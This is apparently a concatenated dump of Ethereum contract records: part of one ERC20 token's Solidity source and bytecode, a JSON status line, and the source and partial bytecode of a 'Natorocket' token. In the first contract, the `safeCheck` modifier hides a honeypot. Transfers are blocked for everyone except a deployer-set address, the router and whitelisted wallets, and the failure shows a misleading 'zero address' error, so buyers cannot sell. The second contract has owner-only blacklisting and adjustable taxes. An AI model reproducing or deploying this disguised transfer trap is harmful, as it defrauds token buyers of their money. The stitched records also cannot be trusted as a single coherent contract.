- `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //NetVRk function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122042ea5d9eedc9608e9213183ffcdbb6425f52a9caccc14c9a5106c4422dd491db64736f6c63430006060033
{"success": true, "error": null, "results": {}}
554
0x32f38aa32fc2d14b6f8b6d21626ccbf75566a35f
/** *Submitted for verification at Etherscan.io on 2022-03-09 */ /* $NATOROCKET 100% Stealth launch Telegram: https://t.me/natorocket */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract natorockettoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Natorocket"; string private constant _symbol = "Natorocket"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x48bb3b0d1137233C5d5c507D8bd571542Cb9a9eE); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 32) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 32) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610316578063c3c8cd8014610336578063c9567bf91461034b578063dbe8272c14610360578063dc1052e214610380578063dd62ed3e146103a057600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b411461015c5780639e78fb4f146102e1578063a9059cbb146102f657600080fd5b806323b872dd116100f257806323b872dd14610213578063273123b714610233578063313ce567146102535780636fc3eaec1461026f57806370a082311461028457600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019e57806318160ddd146101ce5780631bbae6e0146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611843565b6103e6565b005b34801561016857600080fd5b50604080518082018252600a81526913985d1bdc9bd8dad95d60b21b6020820152905161019591906118c0565b60405180910390f35b3480156101aa57600080fd5b506101be6101b9366004611751565b610437565b6040519015158152602001610195565b3480156101da57600080fd5b50670de0b6b3a76400005b604051908152602001610195565b3480156101ff57600080fd5b5061015a61020e36600461187b565b61044e565b34801561021f57600080fd5b506101be61022e366004611711565b610490565b34801561023f57600080fd5b5061015a61024e3660046116a1565b6104f9565b34801561025f57600080fd5b5060405160098152602001610195565b34801561027b57600080fd5b5061015a610544565b34801561029057600080fd5b506101e561029f3660046116a1565b610578565b3480156102b057600080fd5b5061015a61059a565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610195565b3480156102ed57600080fd5b5061015a61060e565b34801561030257600080fd5b506101be610311366004611751565b61084d565b34801561032257600080fd5b5061015a61033136600461177c565b61085a565b34801561034257600080fd5b5061015a6108fe565b34801561035757600080fd5b5061015a61093e565b34801561036c57600080fd5b5061015a61037b36600461187b565b610b04565b34801561038c57600080fd5b5061015a61039b36600461187b565b610b3c565b3480156103ac57600080fd5b506101e56103bb3660046116d9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104195760405162461bcd60e51b815260040161041090611913565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610444338484610b74565b5060015b92915050565b6000546001600160a01b031633146104785760405162461bcd60e51b815260040161041090611913565b662386f26fc1000081111561048d5760108190555b50565b600061049d848484610c98565b6104ef84336104ea85604051806060016040528060288152602001611a91602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8f565b610b74565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161041090611913565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161041090611913565b4761048d81610fc9565b6001600160a01b03811660009081526002602052604081205461044890611003565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161041090611913565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161041090611913565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a91906116bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa91906116bd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906116bd565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610444338484610c98565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161041090611913565b60005b81518110156108fa576001600660008484815181106108b657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f281611a26565b915050610887565b5050565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161041090611913565b600061093330610578565b905061048d81611087565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161041090611913565b600e546109889030906001600160a01b0316670de0b6b3a7640000610b74565b600e546001600160a01b031663f305d71947306109a481610578565b6000806109b96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1c57600080fd5b505af1158015610a30573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a559190611893565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610acc57600080fd5b505af1158015610ae0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d919061185f565b6000546001600160a01b03163314610b2e5760405162461bcd60e51b815260040161041090611913565b602081101561048d57600b55565b6000546001600160a01b03163314610b665760405162461bcd60e51b815260040161041090611913565b602081101561048d57600c55565b6001600160a01b038316610bd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820